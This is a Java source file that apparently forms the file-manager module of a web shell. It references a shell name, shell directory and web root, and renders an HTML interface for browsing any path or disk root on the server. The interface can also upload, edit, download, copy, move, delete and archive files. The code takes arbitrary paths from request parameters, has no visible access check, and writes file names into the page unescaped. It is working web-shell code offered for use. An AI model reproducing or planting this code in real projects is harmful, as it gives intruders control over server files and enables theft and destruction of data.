package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.File;
import java.io.PrintWriter;
import java.util.Arrays;

public class FileListInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            String path = request.getParameter("folder");
            if (Utils.isEmpty(path))
                path = session.getAttribute(CURRENT_DIR).toString();

            session.setAttribute(CURRENT_DIR, Utils.convertPath(path));
            File file = new File(path);
            if (!file.exists()) {
                throw new Exception(path + "Dont Exists !");
            }
            session.setAttribute(CURRENT_DIR, path);
            File[] list = file.listFiles();
            Arrays.sort(list, new FileComparator());
            out.println("<div style='margin:10px'>");
            String cr = null;
            try {
                cr = session.getAttribute(CURRENT_DIR).toString().substring(0, 3);
            } catch (Exception e) {
                cr = "/";
            }
            File currentRoot = new File(cr);
            out.println("<h2>File Manager - Current disk &quot;" + (cr.indexOf("/") == 0 ? "/" : currentRoot.getPath()) + "&quot; total  (unknow) </h2>");
            out.println("<form action=\"" + SHELL_NAME + "\" method=\"post\">" +
                    "<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">" +
                    "  <tr>" +
                    "    <td nowrap>Current Directory  <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>" +
                    "	<td width=\"98%\"><input class=\"input\" name=\"folder\" value=\"" + session.getAttribute(CURRENT_DIR) + "\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>" +
                    "    <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>" +
                    "  </tr>" +
                    "</table>" +
                    "</form>");
            out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">" +
                    "<form action=\"" + SHELL_NAME + "?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">" +
                    "<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" type=\"submit\" /></div>" +
                    "<a href=\"javascript:new fso({path:'" + Utils.convertPath(WEB_ROOT) + "'}).subdir()\">Web Root</a>" +
                    " | <a href=\"javascript:new fso({path:'" + Utils.convertPath(SHELL_DIR) + "'}).subdir()\">Shell Directory</a>" +
                    " | <a href=\"javascript:new fso({}).mkdir()\">New Directory</a> | <a href=\"javascript:new fso({}).createFile()\">New File</a>" +
                    " | ");
            File[] roots = file.listRoots();
            for (int i = 0; i < roots.length; i++) {
                File r = roots[i];
                out.println("<a href=\"javascript:new fso({path:'" + Utils.convertPath(r.getPath()) + "'}).subdir();\">Disk(" +
                        Utils.convertPath(r.getPath()) + ")</a>");
                if (i != roots.length - 1) {
                    out.println("|");
                }
            }
            out.println("</td>" +
                    "</tr></form>" +
                    "<tr class=\"head\"><td>&nbsp;</td>" +
                    "  <td>Name</td>" +
                    "  <td width=\"16%\">Last Modified</td>" +
                    "  <td width=\"10%\">Size</td>" +
                    "  <td width=\"20%\">Read/Write/Execute</td>" +
                    "  <td width=\"22%\">&nbsp;</td>" +
                    "</tr>");
            if (file.getParent() != null) {
                out.println("<tr class=alt1>" +
                        "<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>" +
                        "<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'" + Utils.convertPath(file.getAbsolutePath()) + "'}).parent()\">Goto Parent</a></td>" +
                        "</tr>");
            }
            int dircount = 0;
            int filecount = 0;
            for (File f : list) {
                if (f.isDirectory()) {
                    dircount++;
                    out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">" +
                            "<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>" +
                            "<td><a href=\"javascript:new fso({path:'" + Utils.convertPath(f.getAbsolutePath()) + "'}).subdir()\">" + f.getName() + "</a></td>" +
                            "<td nowrap>" + Utils.formatDate(f.lastModified()) + "</td>" +
                            "<td nowrap>--</td>" +
                            "<td nowrap>" + f.canRead() + " / " + f.canWrite() + " / unknow </td>" +
                            "<td nowrap><a href=\"javascript:new fso({path:'" + Utils.convertPath(f.getAbsolutePath()) + "',filename:'" + f.getName() + "'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'" +
                            Utils.convertPath(f.getAbsolutePath()) + "'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'" + Utils.convertPath(f.getAbsolutePath()) + "',filename:'" + f.getName() + "'}).pack()\">Pack</a></td>" +
                            "</tr>");
                } else {
                    filecount++;
                    out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">" +
                            "<td width=\"2%\" nowrap><input type='checkbox' value='" + f.getName() + "'/></td>" +
                            "<td><a href=\"javascript:new fso({path:'" + Utils.convertPath(f.getAbsolutePath()) + "'}).down()\">" + f.getName() + "</a></td>" +
                            "<td nowrap>" + Utils.formatDate(f.lastModified()) + "</td>" +
                            "<td nowrap>" + Utils.getSize(f.length(), 'B') + "</td>" +
                            "<td nowrap>" +
                            "" + f.canRead() + " / " + f.canWrite() + " / unknow </td>" +
                            "<td nowrap>" +
                            "<a href=\"javascript:new fso({path:'" + Utils.convertPath(f.getAbsolutePath()) + "'}).vEdit()\">Edit</a> | " +
                            "<a href=\"javascript:new fso({path:'" + Utils.convertPath(f.getAbsolutePath()) + "'}).down()\">Down</a> | " +
                            "<a href=\"javascript:new fso({path:'" + Utils.convertPath(f.getAbsolutePath()) + "'}).copy()\">Copy</a> | " +
                            "<a href=\"javascript:new fso({path:'" + Utils.convertPath(f.getAbsolutePath()) + "'}).move()\">Move</a> | " +
                            "<a href=\"javascript:new fso({path:'" + Utils.convertPath(f.getAbsolutePath()) + "'}).vEditProperty()\">Property</a>");
                    if (f.getName().endsWith(".zip")) {
                        out.println(" | <a href=\"javascript:new fso({path:'" + Utils.convertPath(f.getAbsolutePath()) + "',filename:'" + f.getName() + "'}).unpack()\">UnPack</a>");
                    } else if (f.getName().endsWith(".rar")) {
                        out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
                    } else {
                        out.println(" | <a href=\"javascript:new fso({path:'" + Utils.convertPath(f.getAbsolutePath()) + "',filename:'" + f.getName() + "'}).pack()\">Pack</a>");
                    }
                    out.println("</td>" +
                            "</tr>");
                }
            }
            out.println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>" +
                    "  <td><a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a></td>" +
                    "  <td colspan=\"4\" align=\"right\">" + dircount + " directories / " + filecount + " files</td></tr>" +
                    "</table>");
            out.println("</div>");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}